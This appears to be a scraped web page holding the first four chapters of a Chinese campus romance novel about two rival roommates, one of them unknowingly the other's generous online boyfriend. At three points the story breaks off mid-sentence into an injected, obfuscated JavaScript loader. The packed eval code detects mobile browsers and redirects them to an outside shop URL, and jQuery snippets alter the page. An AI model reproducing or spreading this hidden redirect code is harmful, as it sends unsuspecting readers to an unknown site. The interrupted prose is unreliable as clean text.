《绿茶捞子网恋到死对头后甩不掉了》 1. 第 1 章 第1章 一只绵伢/文 “宝宝,我好喜欢你啊!” 习阳轻轻搂住怀中的男生,男生的脑袋埋在他的胸口,语气有些娇弱地对他说出这句表白词。 这样的话习阳听男生对自己说过很多次,但往常都是在手机上,语音透过电流转换发出的声音总是和当面听到的不太一样。 习阳看着怀里的男生,有些情不自禁地勾了勾唇,语气温柔地回应对方的感情:“我也好喜欢你。” 男生的脸蹭着习阳的胸口,有些羞涩地说着情话:“宝宝,你对我真好,我好想……好想把我的全部都给你……” “嗯,你想怎么给?”习阳表现得很冷静淡定,实则心里早就雀跃不已,他抬手摸着男生的下巴,想顺势把对方的头抬起来,试图看清对方的模样。 男生的脸被抬起时,皮肤白皙细腻,稍长的睫毛下一双茶色的眼眸晶莹水灵,润泽的薄唇微微张开,正均匀地喘着气。 面前这张漂亮的脸从模糊变得清晰,习阳在彻底看清对方的五官后登时发现,自己怀里抱着的网恋对象有着和他室友舒星一模一样的脸! 习阳瞬间从梦里惊醒。 - 舒星醒来后睁开眼看到的第一幅画面,就是寝室对床那个冷着眸一脸死相的习阳正盯着自己看。 原本睡眼惺忪的舒星被那冷冽的眼神盯得立马清醒了。 舒星冷不丁地瞪回去:“看什么?” 习阳没说话,淡淡地扫他一眼翻身下了床。 舒星“啧”了声,轻轻吐槽句:“装什么啊!” 舒星和习阳从大一刚进校那会儿关系就不怎么好,与其说他俩相看两生厌,不如说是舒星单方面看不惯习阳。 刚搬进宿舍那会儿,舒星本着和寝室里的人打好关系的想法也试着接近过习阳,但他每次好脾气地靠近习阳的时候,对方都会不自禁地捂着鼻子紧皱眉头,那感觉就好像舒星身上染着什么臭味似的。 察觉到习阳的异样后舒星还特意留意过自己身上的味道,但除了洗衣液的清香外他根本闻不出异味。 舒星清楚习阳是个多金的富二代,可自己身上也不见得有什么穷酸味吧?不想和别人交流明明可以直说,用不着总做出那种伤人自尊的动作来。 所以自打那之后,舒星就再没怎么和习阳说过话,而习阳大概是别人不给他好脸色,他也不会笑脸相迎的那种,久而久之,两个人就默契地形成了一种死对头的关系。 不过这么久以来,两方都是以冷暴力互相对抗,真正吵架动手的热暴力倒从来没有过。 舒星偶尔对习阳有不满时会开口阴阳两句,但大多数时间都会被习阳能毒死人的话呛到闭麦。 习阳这个人说他有钱吧,又很爱装,不管买什么新款奢侈品都爱往桌上一抛,也不知道秀给谁看。 平常开的车也是,今天这个跑车明天那辆摩托,低鸣的尾音从最远的南校门一路轰到男寝楼下,关键时不时还有人跟见稀罕似的找他的车合影,学校就该禁止学生开车进校园,偏偏人家里每年都往学校捐不少钱,校方跟哄金主爸爸似的惯着他。 更烦的是这个人不光个子比舒星高长得还很帅,在有钱有颜的加持下吸引了学校里不少人的追求。 舒星咬咬牙,真不知道上帝给这人关了哪扇窗。更不知道是谁偷走了自己的百亿幸福人生! 世界上有钱的人到处有,为什么不能算我一个? 舒星咬完牙感觉脸颊好酸,撅了撅嘴赶紧放松自己的脸蛋儿,毕竟他唯一拿得出手能和习阳比上一二的就是这张脸了,一定不能因此咬成大小脸。 寝室里一共四个人住,另外两个室友一般不掺和舒星和习阳的冷暴力斗争,他俩对舒星和习阳属于两方都不舍得割舍的类型,每次出门活动他俩一人拽一个,强制性搞寝室捆绑,以至于舒星再怎么对习阳不爽,他俩在校内的生活轨迹依旧能契合上。 舒星下床后很久才等到卫生间里的习阳出来,对方开门出来的时候脸色冷得很,路过舒星时侧目瞥了他一眼,那眼神就好像舒星欠了他什么似的。 舒星把这归纳为习阳的大少爷起床气,他回瞪了对方一眼,转身进了卫生间。 寝室自带的卫生间并不算太大,不过做到了干湿分离,洗漱卫浴都在这里。但这种布局麻烦点就在于有人洗澡关门的时候其他人就没法进来上厕所,所以寝室里的人很多时间都是到走廊外的公共场所解决。 能在大早上独自霸占一整个卫生间的,也就习阳能干得出来了。 习阳有早上洗澡的习惯,但往常习阳会在大家都用完卫生间后再进去洗澡,这两天放假没有课,另外两个室友还窝在床上玩手机没起床,舒星觉得习阳这是在故意膈应自己,所以选择在自己刚醒来的时候就提前去霸占了卫生间。 舒星进卫生间的时候还闻到了一股浓郁的沐浴露香,顿时觉得习阳这个人更装了,搞不懂为什么这香味沐浴露洗不掉习阳身上的臭矫情。 一般休息天舒星都要去校外做兼职,洗漱完他就换上了一身干净衣服,准备出去上班。 “哎,星妹。” 旁边的床架子上挂下来一只手臂,晃在半空中,阻挡了舒星的去路。 是室友程新宇。 对于程新宇来说,舒星的长相有点太好看了,不同于别的男生英气俊朗的感觉,舒星更偏向阴柔漂亮的那一类,特别是那张白皙的脸配着一双水汪汪的眼眸,光是看着就很容易让人产生保护欲,所以他习惯把舒星当个漂亮妹子来看待,久而久之,舒星在他这儿的外号就变成了“星妹”。 程新宇从被窝里探了个头出来,脸上笑眯眯的,一副讨好的样儿:“回来的时候帮我带个小蛋糕行不?” 舒星每次出去兼职,基本都会捎上室友要买的东西,他习惯了程新宇的请求,抬眸问道:“你想要什么味的?” “草莓味儿的!” “知道了。”舒星猫了下身绕过程新宇悬在半空的手,经过习阳的座位时不小心蹭了下他的椅背,余光瞥见原本还在看手机的习阳迅速反扣了屏幕,好似有意在防着舒星。 我靠?我是那种爱偷看你玩手机发聊天信息的人? 舒星对习阳的反应很无语,连带着看这人更不顺眼了,他嘴角压了点,临走前只敷衍地抛下一句“不好意思”就开门走了。 舒星的兼职地点在市中心,坐地铁要转好几站才能到,他从小就很喜欢猫猫狗狗,所以在上大学后就找了份在宠物医院做助理的工作。 宠物医院的老板挺年轻,也就刚大学毕业没多久,说起来还是舒星高中同校的学长,平时在工作中对舒星还算照顾。 他兼职的这家宠物医院在市区小有名气,碰上休息天,带宠物来看病的人特别多。 今天出门不算早,舒星到店的时候已经晚了十几分钟,大厅里散荡着不少猫猫狗狗,也有鹦鹉龙猫被它们的主人关在笼子里护着,有几个面熟的顾客见到舒星和他打了个招呼,有个顾客的狗因为住院期间都是舒星在照顾,今天来复诊,大金毛一见到舒星就往他身上扑。 “啊,好了好了,不要这样。”大金毛的主人赶紧牵着狗绳把自家儿子往回拉。 “没事,没事。”舒星笑眯眯的,眼睛弯成了好看的弧度,把对方迷得愣神好一会儿。 二楼的宠物手术室走出来个高大的男人,男人在楼梯边俯身喊了句舒星的名字,舒星抬头一看,是他老板裴淳。 裴淳平时也兼顾宠物医生的工作,他手里戴着检查手套,指了指一楼工作间说:“你今天就先负责处理打疫苗和驱虫的动物,有复诊的带它们做一下对应的检查……” 见舒星还没换上工作服,裴淳歪了下头:“算了,你先去把衣服换了。” 舒星在楼下点点头:“好的。” 换完衣服出来,舒星先带着复诊的猫猫狗狗去做了检查,期间也有初诊的,要抽血做生化,别的助理忙不过来,舒星帮忙一并代劳了。 今天来打疫苗的动物不是很多,舒星给它们安排在了后面操作。 轮到最后一只猫的时候舒星特意留意了一下,是只偏肥的奶牛猫,脸蛋看上去圆圆的,可能是个串串。 奶牛猫的主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255716|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不怎么管自家猫,进了工作间后把玻璃门一关,旁若无人地坐在椅子上玩起了手机。 舒星准备好针管要上手时,原本就有些怕生的奶牛猫突然炸毛地“哈”了一声。 说没吓到是假的,舒星退怯地收回了捏猫脖子的手,询问旁边玩手机的猫主人能不能来帮忙。 猫主人忙着操作英雄排位上分,眼都没撩就说:“哎呀,它很乖的,脾气很好的,你自己弄吧,我现在有点忙。” 舒星看着已经叠成飞机耳弓着背时刻会咬人的猫,哥们你管这叫很乖? 但顾客就是上帝,舒星没办法,只能套了个防抓手套眼疾手快地掐住了奶牛猫的后脖。 一针药剂下去,奶牛猫凶猛抗拒地叫了声。 在舒星松手的瞬间,摆脱禁锢的奶牛猫反身用爪子在舒星的腹部挠了两下。 “嘶——” 坏猫! 工作服只是很薄的一件短袖T恤,根本扛不住猫爪子的攻击,舒星感觉自己腹部的皮肤有种火辣辣的痛,他倒吸口气的声音总算博得了猫主人的注意。 然而对方只是收了手机捞起已经躲到地上的猫说:“谢了啊,我买的团购,怎么核销?” 舒星忍着痛,换上一副打工人专属的有点苦涩的假笑,咬着牙依旧态度很好地说:“找前台哈。” 送走奶牛猫两口子,舒星痛得眼泪汪汪,见大厅里没客人了,他转身钻进了员工休息室里。 休息室里没有人,舒星摸出一整天都没打开过的手机,未读信息一连串地涌在屏幕上,正迫切地等待舒星的回复。 【宝宝,早上好^^】 【好想你好想你,宝宝,我昨天晚上做梦梦到你了。爱心.jpg】 【醒了吗宝宝?】 【记得吃早饭哦宝宝![对方向您转账520元]】 【宝宝,中午咯,吃饭了吗?】 【才想起来今天是休息天,你是不是在忙工作呀?】 【看到信息快回回我嘛。狗狗哭泣.jpg】 【宝宝,傍晚啦,还没有忙完吗?】 【好想你,好想你,好想你,好想你。】 【今天傍晚的夕阳好好看![图片]】 【想你想你。狗狗哭泣.jpg】 【狗狗哭泣.jpg】 【狗狗哭泣.jpg】 舒星看着一条条信息和可怜巴巴的小狗表情包,忍不住唇角勾了下,脸上泛起了微不可察的绯红。 给舒星发信息的人是他的网恋男友余晖,在上大学前的那个暑假,他们在一个仙侠网游里相识,“机缘巧合”下做了情缘cp,不过上大学后舒星忙着兼职没空玩游戏,他的账号这段时间都是对方在帮他代打。 舒星的网恋男友很黏人,每天都要给舒星发好多信息,他对舒星几乎百依百顺,不光时不时给舒星爆金币,情绪价值也给得很到位,平时舒星一有事就会跟网恋男友说,在他那能换来不少对方的嘘寒问暖。 收了网恋男友转来的五百二十块早餐钱,腹部被猫抓开的地方蹭到衣服传来一阵刺痛,舒星这才想起来自己猫进休息室的原因。 是为了找网恋男友求安慰。 舒星撩起身上的T恤,露出了白皙的腹部肌肤,上面果然明晃晃地留着两道长长的抓痕。 舒星平时不锻炼,没有腹肌也没有人鱼线,他凹了个稍微好看点的造型,用手机前置拍了张自己腹部的肌肤照。 点击发送给网恋男友,再配上个猫猫哭泣的表情包,萌萌的小猫图瞬间把舒星的委屈感拉满了。 舒星:【宝宝,我刚忙完。】 舒星:【今天被猫抓了,】 等了一会儿没等到对方回信息,外面又来了新的客人,前台的小姐姐在问舒星在哪里。 舒星听着走廊上的声音,只好把手机放回口袋里,赶紧在伤口上擦了药出门接待。 另一边,被两个室友拉去食堂吃晚饭的习阳刚找到位置入座,就收到了网恋对象发来的信息。 点开聊天框一看,一张嫩白纤瘦的腰腹照瞬间跳了出来。 2. 第 2 章 第2章 “看什么呢习哥?” 室友何文楠探了个脑袋凑过来,习阳眼疾手快熄了屏,语气淡淡地回句:“没看什么。” 何文楠不信:“不可能,你嘴角都快咧到太阳穴了,还说没看什么!是不是背着哥们偷看女孩子照片了!” 另一个室友程新宇买完饭姗姗来迟,他听到何文楠的话,也跟着八卦起来:“什么什么什么?” 程新宇只听到一半话,他八卦得更离谱:“你们在看习哥女朋友的照片?” 习阳:“……” 何文楠见习阳不说话,他转眼跟程新宇说:“我感觉习哥有情况啊,刚才对着手机偷乐呢!” 程新宇睁了双杏仁眼目光炯炯地看着习阳:“啊!哥,你找女朋友啦?” 习阳:“……” 何文楠好久没听到什么八卦了,跟着追问:“哥,嫂子是咱系里人吗?” 习阳无语了会儿,在两对大眼睛的迫切注视下提起筷子,说:“没找女朋友。” 何文楠和程新宇登时松了口气,两个人本着大家伙都不能偷偷脱单的原则,乐呵呵地说:“吓死了,还以为真给你谈上了呢!” 两个人说完又觉得不合适,习阳是学校里出了名的富二代,为人大方性格也好相处,有事儿没事就会爆金币请他俩吃饭。不光如此,习阳长得也帅,一米八几的大高个往那一站跟模特似的,追他的女生光本系就有好几个,这样儿的人能找到女朋友简直是件轻而易举的事。 只不过就四个人的寝室,一个舒星长得漂亮得没话说,一个习阳有钱得遭人羡,剩下何文楠和程新宇俩普男大学生,平时多少有点不平衡在心里的,所以两人早早地立了个寝室君子条约——绝对不能背着兄弟偷偷找女朋友。 吃过饭,何文楠和程新宇相约去图书馆课设作业,他俩原本是想拉着习阳一块儿的,习阳看身边老凑着俩八卦精很妨碍他和自己的宝宝聊天,赶紧找了个要出校兜风的理由走人了。 等坐进车里,确保身边没人了,习阳才重新打开熄屏的手机。 因为没退出微信,屏幕一解锁就是那张裸露晃眼的腰身照。 这张极富有性张力的图片是习阳的网恋对象发来的,习阳刚才没承认自己有女朋友的原因是他网恋对象的确不是女生,而是个男生。 他俩是在一个游戏里认识的,对方说话温柔脾气又好,据说还是个非常疼惜动物的爱心人士。 由于是网恋的缘故,习阳没有过问太多人家的现实生活,平时都是对方主动分享日常生活点滴,习阳也是在聊天过程中偶然得知对方家里有欠债的父亲、生病的母亲以及一个年幼的弟弟,网恋对象为了补贴家用,大学都没读完就进社会找了份在宠物医院的工作。 但网恋男友找的这份工作很剥削压榨,对方从来没有一天休息的时间,特别是节假日忙的时候习阳总会一整天都收不到对方的信息。 而且习阳能感觉出网恋男友在工作中有个很讨人厌的傻逼同事,那个傻逼同事似乎家里挺有钱的,不光爱在日常生活中张扬炫富,还总看不起自家辛劳工作的可怜宝宝,经常三言两语怼得自家宝宝没话反驳。 习阳不懂人与人之间的恶意为什么会这么大,他的宝宝这么单纯可爱,那傻逼同事凭什么老搞职场霸凌? 习阳怀疑过对方可能是仗着家里有钱而目中无人,所以他经常会给网恋对象转账发红包,就是为了对方日子能过得好一点,免得在钱这方面受人家委屈。 习阳的视觉感官还停留在裸露肌肤的强烈冲击里,缓过劲来才发现网恋男友发来的照片上,白皙的皮肤上有两道明显泛红微肿的抓痕。 切掉图片界面,果不其然看到了对方发来说被猫抓了的信息。 看着聊天框里可怜的猫猫表情包,习阳暗自思忖对方一定是个像小猫咪一样可爱的男生。 隔着屏幕,习阳纵使看着照片上的伤口心疼也没法有实质性的作用,只能发些“心疼宝宝”之类的话安慰一下自己的网恋男友。 这就是网恋的坏处之一,在对方需要自己的时候没办法及时出现在他身边。 想到这,习阳心里一阵酸,他和对方已经网恋快两年了,到现在连面都还没有见过呢,也就前不久习阳才知道对方和自己在同一个城市里。 发完心疼的话,习阳斟酌了一下,指腹在虚拟键盘上敲下几个字。 【宝宝,我好想见见你啊。】 - 舒星下班换衣服的时候发现自己腹部的抓痕已经褪了红肿,但被衣服扯到时还是有点疼。 出了宠物医院,天已经彻底暗了,头顶的天空压了大片黑沉沉的乌云,风吹上来带着一丝夏季的潮热,给人一种要下暴雨的前兆。 舒星答应了要给程新文买小蛋糕,但是蛋糕店在街的另一头,眼瞅着可能要下雨,舒星加快了脚步往蛋糕店走。 宠物医院是不包晚餐的,舒星给程新文买草莓蛋糕的时候也顺带给自己买了个青柠味的慕斯蛋糕。 还没出蛋糕店的门,外面的天际闪过一簇光,轰隆声随着豆大的雨接踵而至。 人倒霉的时候,不光会被猫抓,没带伞出门还会遇上下大雨。 还好是雷阵雨,等一段时间它就会停了。 舒星脸皮比较薄,不好意思杵在别人店里躲雨,蛋糕店外有玻璃檐廊,他推了玻璃门选择到檐廊下躲雨。 习阳原本是搜了几家市区比较出名的宠物医院,想来碰碰运气,看会不会偶遇到自己从未谋面的网恋男友,结果因为市中心不让随便停车,附近还没有空置的停车场,一直到下暴雨他都没找到个合适的停车位。 找车位时习阳的车速并不快,在道路上缓慢行驶着,车位还没找到呢,习阳就瞟到了路边蛋糕店门口傻站着的室友舒星。 习阳今天开的车是他往日常开的那辆,舒星也见过不少次,所以对方在看到他的车时刻意地别开了眼,装作没看到。 习阳原本还想大发慈悲顺路捎上这哥们儿的,在看到人家别开眼时习阳差点都被自己这种乐于助人的菩萨心肠气笑了,十字路口的信号灯正好跳绿,习阳收回视线一脚油门轰过了蛋糕店。 大雨似乎没有要停的意思,习阳在开过好几条街后皱起眉,最终还是选择在下一个路口掉了头。 舒星看着路口去而复返的银色跑车,疑惑地歪起了脑袋。 这家伙干吗呢?下雨天还炸街吗? 正腹诽着,眼瞅着银色跑车在蛋糕店门口违章停车,副驾驶的玻璃降下一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255717|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,驾驶位里的习阳半探着身朝舒星喊了句话。 声音被暴雨覆盖,不过舒星还是能猜出习阳这是在叫他上车。 舒星现在所处的位置离地铁站有一段距离,与其在这儿等这场不知道什么时候才会停的雨,不如趁这机会蹭一下习阳的车回学校。 也不是说没坐过限量款跑车想试试,主要是人习阳都给台阶唤他上车了,纵使平常再怎么看人家不爽,舒星总不好意思在这时候拂他的好意吧? 哎呀,真不是因为想坐限量款跑车! 舒星嘴角动了动,有些雀跃地冒雨窜进了习阳的车里。 窜进来之前,舒星已经尽量用手去遮挡落下来的雨了,只不过他那手掌不是伞,顶多护住了他前额的几搓碎发不被彻底打湿,其余地方就跟个落水的猫似的,淋湿的衣服裤子水漉漉地贴在了肌肤上。 因为是夏天,习阳的车里开了冷空调,凉风吹过舒星湿漉的肌肤时,一阵寒瑟的冷意席卷全身,令他不由自主地打了个颤。 习阳很快启动了车,他扫眼舒星,从中控屏下的隐藏口袋里扯了几张纸巾递过来,语气比空调的风还冷:“擦擦。” 舒星倒是被他这一举动看愣了,心里刚涌起一股同窗暖意还没来得及道谢表达,习阳的下句话就把这丝暖意浇灭了。 “别弄湿了我的车,真皮座椅,维护费挺贵。” 舒星:“…………” 舒星看习阳在屏幕上点了几下,原本缓缓出风的空调风口瞬间停止了冷气供应。 舒星瞄了习阳一眼,最后还是忍不住说了句“谢谢”。 单纯谢习阳肯在暴雨天载舒星回去且贴心地为他关掉了冻人的空调。 回去的路上习阳一句话也没再和舒星聊过,舒星本来就和习阳不对付,但这会儿正受着人家的恩惠,舒星想聊点东西搞搞气氛,结果一张口就发现自己做不到和习阳和和气气地拉家常。 习阳正紧盯前方专心开着车,舒星的目光则是悄摸摸地打量起车的内饰来。 不愧是限量款的跑车,光是中控台的按键就有好几排,这么些稀奇古怪的图标习阳能分辨得过来都是什么用途吗? 打量完车的内饰,舒星又隐隐生出丝羡慕来,他摸着身下的座椅皮质,幻想着自己要是也有一辆这样限量款的酷炫跑车,那将会变成一个多么快乐的小男孩儿。 随后,“到底是谁偷走了我的百亿幸福人生”的这种想法在舒星心里燃得更强烈了! 眼红和羡慕的心思燃尽了舒星最后一丝志气,他闷闷地把视线投向窗外,细看沿路的门头名字和展示牌广告信息,以此平复自己贫穷的嫉妒心。 跑车内的空间很狭小,空调关掉后微微有些闷,这使得舒星手里提着的蛋糕散发出的香甜味很快占据了整个车内。 舒星喜欢这种草莓夹着青柠的甜甜水果味。 习阳似乎也闻到了,他鼻子嗅了嗅,突然开口问了句:“你身上什么味儿?” 舒星展示着手里的两个蛋糕,“喏”了一声。 习阳似乎不认同地皱起眉,他的鼻尖动了动,抬手用大拇指压上自己的人中,努力平复好自己因为过敏而想打喷嚏的状态后幽幽地说了句:“怎么一股狗味?” 舒星:“………” 3. 第 3 章 第3章 服了,习阳这人还能不能好好沟通了,简直狗嘴里吐不出象牙,到底谁才是狗? 舒星察觉到习阳那个捂鼻子的动作又出现了,他略微不爽地皱了皱眉,很想怼一句“你才有狗味”,但想到这是在习阳车上,舒星别了别嘴角,心道不和他一般见识。 跑车在一个购物中心的路口停下等红灯,购物中心大楼的显示屏上展示着某个奢侈品牌推出的新款手表。 舒星看着那只表,表盘是他喜欢的水蓝色,虽然买不起,但他还是对着那广告屏上的展示表抬手比画了下。 真好看,水蓝色配他白皙的肌肤,似乎很合适。 想到这牌子的表都价格不菲,舒星有些遗憾地嘟囔:“唉,好想要啊。” 他这嘟囔很快被等红灯无聊的习阳捕捉在耳。 “干嘛?你喜欢?”习阳冷不丁开口,语气说不上嫌弃,“这表九万三,性价比不高,一般只想显摆一下的人才喜欢买这个牌子。” 绿灯亮了,后车有人不耐烦地重滴着喇叭,在响亮的喇叭声中舒星隐约听到习阳在暗指自己喜欢显摆。 他什么意思? 喜欢显摆是什么意思? 又没叫你掏钱买,你还点评上了。 舒星转头睨了习阳一眼,原本还在感激习阳送自己回学校的心一瞬间跌回了原点,刚累积起来的那唯一一点好感也在此刻瞬间清零。 车开到男寝楼下,才刚停稳,舒星跟早就坐不住似的开门下车,抛下一句“谢谢”就上了楼。 暴雨已经逐渐转为小雨,舒星在跑进寝室楼时又淋了些雨,小跑着进寝室,他浑身湿漉的样子吓坏了寝室内刚从图书馆回来的俩室友。 “我去,星妹你冒雨跑回来的啊?还好咱图书馆有伞借,不然也得跟你一样了。”程新宇看到舒星居然淋雨都不忘给自己带小蛋糕,感动得要死要活:“兄弟,你也太够意思了,我简直爱死你了!” 程新宇说完就忘情地抱住舒星,结果手臂蹭到舒心腹部的伤口,差点儿没把舒星当场送走。 何文楠察觉舒星漂亮的脸上秒变出一幅痛苦表情,赶紧把两人扒开,关切地问:“你怎么啦?哪儿疼?” 舒星痛得快泪失禁,他硬憋回去眼眶里的泪,撩起湿透的衣服把猫抓破的痕迹展示给两个室友看,还不忘惨兮兮地诉苦:“今天倒霉死了,被一只猫偷袭了!” 何文楠看着两道长长的伤口就觉得疼,他眉毛都跟着皱紧了,说:“消过毒了吗?这要打狂犬疫苗吗?” 程新宇探着头仔细看了看舒星的伤口,呲着牙也是一副眉头紧锁的样子:“宠物医院里的猫都这么凶吗?看着很痛的样子啊。” “消过毒了,下班前打过一针疫苗,不过是家猫,其实不打应该也没事。”舒星放下衣摆,此刻身上潮湿的感觉比伤口更让他不舒服,“不说了,我先去洗个澡。” 舒星洗澡的时候听到外面又是一阵此起彼伏的吵闹,估计是习阳回来了。 一想到习阳说自己身上有狗味,舒星耸着鼻子在自己身上嗅了嗅,沐浴露的味道此刻已经把他浑身染得香喷喷的,根本没有习阳说的那股狗味。 我看习阳自己才是狗,有个嗅觉不怎么灵敏的狗鼻子! 舒星在心里不爽地骂了句,随后美滋滋地冲掉了身上的沐浴泡泡。他在冲澡的时候虽然有意避开了腹部的两道伤口,但被泡泡水碰到时还是会有些痛感,只不过没有一开始那么明显了。 洗完澡出来,舒星终于感觉自己整个人都干爽闲适了很多。 他还没吃晚饭,和程新宇凑在一块儿吃上了买来的小蛋糕。 吃蛋糕的时候终于空闲下来,舒星一手舀着蛋糕,一手拿着手机看网恋男友发来的未读信息。 前几条都是关心他伤口的信息,末尾几条发的都是“好想你”,舒星随意翻了翻,对方发来的表情包和想念的信息中间赫然夹杂着条与众不同的信息。 【宝宝,我好想见见你啊。】 “咳……”舒星差点儿被奶油呛到。 对面的程新宇听到咳嗽声抬起眼:“你咋了?” 舒星和程新宇对视一眼,佯装淡定地说“没什么,看短视频。” 程新宇笑了起来:“话说最近的短视频越来越抽象了,前几天我还看到有只猫在辅导小孩写作业!” 说完,程新宇又好奇地问舒星:“你在看什么呢?” 舒星扫他一眼,随口说:“杀人分尸案。” 程新宇噎了下,不再说话。 舒星的屏幕界面停留在那条突兀的信息上,这不是网恋男友第一次提出想见面的请求了,上一次是在对方得知两人在同一个城市时激情上头提出的见面请求,当时舒星很快就用宠物医院工作太忙为由搪塞过去了。 本来网恋就只图个心灵寄托,两个人文字语音上聊聊就够了,舒星可从来没想过要把这段感情和现实联系起来,好在余晖后面发的“好想你”太多,很好地刷掉了这条夹在中间的信息。 舒星所幸就当没看到,发了句“刚忙完”后又接了句“我也好想你啊宝宝。” 晚上上床前舒星写了会专业课的作业,又复习了下这学期的新知识,再过段时间就要期末了,舒星得努努力,争取这个学期能考进年级前几名,这样奖学金的名额就能稳了。 舒星更不爽习阳还有另一点,就是这家伙好像平时都挺闲的,基本上没怎么见他看过书,似乎空下来的时间不是出校玩就是打游戏,遇到考试也就和别的同学一样临时抱佛脚,偏偏这样的人还能考试踩进及格分不被留级。 靠……那自己挑灯夜读日日复习算什么,算勤快吗? 舒星气囔囔地盖上了书,关了灯,爬上床准备睡觉。 寝室的其他三个人都早早地洗漱完窝在床里玩手机了,舒星关灯后上床,无意瞥见几米开外对床的习阳正在玩手机,那张冷臭的脸上映出了手机散发出的满屏绿光, 嚯,这家伙还是个舔狗呢? 看到这一幕,舒星心情大好地打开手机,准备和网恋男友吐槽一番今天习阳嘲讽自己“爱显摆”的事儿。 舒星乐呵呵地发了句“宝宝”过去。 对面冒着绿光的习阳手机没开静音,这会儿突然冒了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255718|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提示音,恍惚中舒星以为自己那句“宝宝”是发给了他。 要不是两人从没加过好友,舒星说不定真就要检查一下自己是不是发错人了。 习阳收到信息后估计也是觉得声音突兀,舒星看到他的指腹按了下侧边按钮,看样子是调成静音了。 舒星的视线挪回手机屏幕,信息最底下很快收到了网恋男友的回复。 余晖:【怎么啦?】 舒星把今天看到那款好看的手表简单地向余晖诉说了遍,聊到习阳说自己喜欢显摆的事,舒星在聊天框里又添油加醋地装了下委屈。 舒星:【宝宝,那个手表水蓝水蓝的,虽然没见过实物,但光看广告就觉得很漂亮了。】 舒星:【但是宝宝,你知道吗,就是我经常跟你说起的那个人,他今天居然嘲讽我欸!】 舒星:【宝宝,那个人骂我贪慕虚荣,可是我只是很喜欢那个表而已,他怎么这样啦!】 舒星:【小猫哭哭.jpg】 等了大概一分多钟,余晖才回舒星信息。 余晖发了张手表的官网图过来,问舒星说的是不是这一款。 舒星当即就发了句“就是这个!”过去。 余晖不出意料地加入了吐槽习阳的行列。 余晖:【这个人有病?会不会讲话啊?】 余晖:【他不知道我宝宝的时间是最珍贵的吗?】 余晖:【喜欢一块表都能扯上贪慕虚荣?】 余晖:【[对方向您转账100000元]宝宝,别管他说什么,明天就去买!!!】 余晖:【水蓝色一定最配你了宝宝!爱你.jpg】 余晖:【大狗咧嘴.jpg】 舒星看着屏幕上余晖发来的大额转账,瞬间从床上坐直了身。 舒星:“!!!!!!” 男生寝室都没装床帘,舒星从床上几乎是弹起身的,木板床发出了好大的嘎吱声。 程新宇的床和舒星连在同一侧,他能感受到的动静幅度最明显。 程新宇纳闷地抬起身,问:“星妹,你干嘛了?” 舒星目光还停留在那笔十万块的转账上,可以说他现在眼里只能看得进这十万块了,他近乎眼冒星星,嘴角止不住地往上扬,心里激动得想原地打滚儿。 但又怕被几个室友知道自己成了个捞男,舒星克制好自己的情绪从容地说:“没事啊,想着好久没锻炼了,做一下仰卧起坐。” 这话说完,何文楠也听诧异了,他抬起头靠在床沿上看着舒星,劝道:“别了吧,一会儿床塌了。” 舒星包听劝的,他直挺挺躺下:“行,那我不做了。” 舒星忍着笑转了个身,面朝墙,用身体挡住了聊天界面。 看着那转账界面晃眼的十万块,舒星还有点儿不好意思收呢,佯装推脱地发了个诧异的猫猫表情包。 舒星:【宝宝,你人真好啊!ovo】 舒星:【可是这钱太多了,给我不太合适吧…】 余晖:【宝宝,怎么不合适?】 余晖:【自愿赠予,请宝宝收下^^】 4. 第 4 章 第4章 舒星看到余晖发来的信息,这才美滋滋地点击了确认收款。 舒星和余晖谈了快两年的网恋了,这两年里余晖给舒星转过不少钱,像今天这种大额转账之前也不是没有过。 去年他俩一周年纪念日,余晖当天刚到凌晨就给舒星转了个五万二过来,舒星起初还有点不好意思收,后来余晖也是像今天这样发了句“自愿赠予”后舒星才敢心安理得地收下。 那五万多块钱舒星当时也不知道往哪儿花,拿了其中的几千块交学费后其余的都存在了余额宝里,每天混利息都混了不少钱。 其实余晖对舒星的大方不止在转账上,平时游戏里也会给舒星的账号上买不少昂贵的皮肤。 刚认识余晖那会儿舒星还只是个游戏收藏值刚过万的路人小透明,是那种打个副本不小心坑了都会被人骂“没钱买皮肤的穷逼”的存在。 自打和余晖网恋之后,在短短一年多的时间里,舒星的账号已经被余晖供到了全服收藏榜前五,以至于舒星每每上号都有陌生人加他好友附带问句“大佬能不能给我买个地狱冰皮肤”。 至于为什么舒星作为一个路人小透明能榜上余晖这样的收藏榜大佬,还得从他当初天天蹲点守着余晖上线说起。 舒星等余晖一上线就厚着脸皮邀人家组队求带,每次跟余晖打游戏的时候舒星的赞扬和奉承就从没间断过。而余晖这样的一看就是单纯宅男,根本招架不住舒星的糖衣炮弹,久而久之就对舒星产生了好感,两个人也顺理成章地在一起了。 